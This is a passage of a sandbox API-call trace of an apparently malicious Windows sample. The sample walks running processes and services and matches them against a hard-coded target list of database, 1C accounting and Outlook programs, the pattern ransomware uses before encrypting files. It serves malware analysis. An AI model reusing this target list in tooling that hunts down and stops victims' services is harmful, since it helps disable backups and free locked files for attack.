(lpString="Schedule") returned 8 [0136.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0136.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0136.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0136.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0136.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0136.146] lstrlenW (lpString="SENS") returned 4 [0136.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0136.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0136.146] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0136.146] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0136.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0136.147] lstrlenW (lpString="ShellHWDetection") returned 16 [0136.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0136.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0136.147] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0136.147] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0136.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0136.147] lstrlenW (lpString="Spooler") returned 7 [0136.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0136.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0136.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0136.147] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0136.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0136.147] lstrlenW (lpString="Themes") returned 6 [0136.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0136.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0136.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0136.147] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0136.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0136.147] lstrlenW (lpString="UxSms") returned 5 [0136.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0136.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0136.147] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0136.147] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0136.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0136.147] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0136.147] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0136.149] Process32FirstW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.150] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0136.150] lstrlenW (lpString="System") returned 6 [0136.150] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0136.150] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0136.150] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0136.150] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0136.150] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0136.150] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0136.150] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0136.150] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0136.151] lstrlenW (lpString="smss.exe") returned 8 [0136.151] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0136.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0136.151] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0136.151] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0136.151] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0136.151] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0136.151] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0136.151] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.151] lstrlenW (lpString="csrss.exe") returned 9 [0136.151] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0136.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0136.151] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0136.151] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0136.151] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0136.151] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0136.151] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0136.151] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0136.152] lstrlenW (lpString="wininit.exe") returned 11 [0136.152] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0136.152] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0136.152] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0136.152] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0136.152] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0136.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0136.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0136.152] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.152] lstrlenW (lpString="csrss.exe") returned 9 [0136.152] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0136.152] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0136.152] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0136.152] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0136.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0136.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0136.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0136.153] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0136.153] lstrlenW (lpString="winlogon.exe") returned 12 [0136.153] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0136.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0136.153] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0136.153] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0136.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0136.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0136.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0136.153] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0136.153] lstrlenW (lpString="services.exe") returned 12 [0136.153] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0136.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0136.153] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0136.154] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0136.154] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0136.154] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0136.154] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0136.154] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0136.154] lstrlenW (lpString="lsass.exe") returned 9 [0136.154] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0136.154] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0136.154] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0136.154] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0136.154] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0136.154] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0136.154] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0136.154] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0136.154] lstrlenW (lpString="lsm.exe") returned 7 [0136.154] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0136.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0136.155] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0136.155] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0136.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0136.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0136.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0136.155] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.155] lstrlenW (lpString="svchost.exe") returned 11 [0136.155] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.155] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.155] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.155] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.156] lstrlenW (lpString="svchost.exe") returned 11 [0136.156] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.156] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.156] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.156] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.156] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.156] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.156] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.156] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.157] lstrlenW (lpString="svchost.exe") returned 11 [0136.157] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.157] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.157] lstrlenW (lpString="svchost.exe") returned 11 [0136.157] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.157] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.158] lstrlenW (lpString="svchost.exe") returned 11 [0136.158] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.158] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.158] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0136.158] lstrlenW (lpString="audiodg.exe") returned 11 [0136.158] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.158] lstrlenW (lpString="svchost.exe") returned 11 [0136.158] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0136.159] lstrlenW (lpString="userinit.exe") returned 12 [0136.159] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0136.159] lstrlenW (lpString="explorer.exe") returned 12 [0136.159] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0136.160] lstrlenW (lpString="dwm.exe") returned 7 [0136.160] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.160] lstrlenW (lpString="svchost.exe") returned 11 [0136.160] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0136.160] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0136.160] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0136.161] lstrlenW (lpString="spoolsv.exe") returned 11 [0136.161] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0136.161] lstrlenW (lpString="dllhost.exe") returned 11 [0136.161] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0136.161] lstrlenW (lpString="reader_sl.exe") returned 13 [0136.161] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.162] lstrlenW (lpString="svchost.exe") returned 11 [0136.162] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0136.162] lstrlenW (lpString="taskhost.exe") returned 12 [0136.162] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0136.162] CloseHandle (hObject=0x388) returned 1 [0136.163] Sleep (dwMilliseconds=0x1f4) [0136.745] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293e20 [0136.957] EnumServicesStatusExW (in: hSCManager=0x4293e20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0136.957] GetLastError () returned 0xea [0136.957] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc9a) returned 0x428bbd0 [0136.957] EnumServicesStatusExW (in: hSCManager=0x4293e20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xc9a, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0136.957] CloseServiceHandle (hSCObject=0x4293e20) returned 1 [0136.958] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0136.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0136.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0136.958] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0136.958] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0136.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0136.958] lstrlenW (lpString="AudioSrv") returned 8 [0136.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0136.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0136.958] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0136.958] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0136.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0136.958] lstrlenW (lpString="BFE") returned 3 [0136.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0136.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0136.958] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0136.958] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0136.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0136.958] lstrlenW (lpString="CryptSvc") returned 8 [0136.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0136.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0136.958] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0136.958] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0136.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0136.958] lstrlenW (lpString="CscService") returned 10 [0136.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0136.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0136.958] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0136.958] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0136.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0136.958] lstrlenW (lpString="DcomLaunch") returned 10 [0136.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0136.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0136.959] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0136.959] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0136.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0136.959] lstrlenW (lpString="Dhcp") returned 4 [0136.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0136.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0136.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0136.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0136.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0136.959] lstrlenW (lpString="Dnscache") returned 8 [0136.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0136.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0136.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0136.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0136.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0136.959] lstrlenW (lpString="DPS") returned 3 [0136.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0136.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0136.959] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0136.959] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0136.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0136.959] lstrlenW (lpString="eventlog") returned 8 [0136.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0136.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0136.959] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0136.959] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0136.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0136.959] lstrlenW (lpString="EventSystem") returned 11 [0136.959] lstrcmpiW 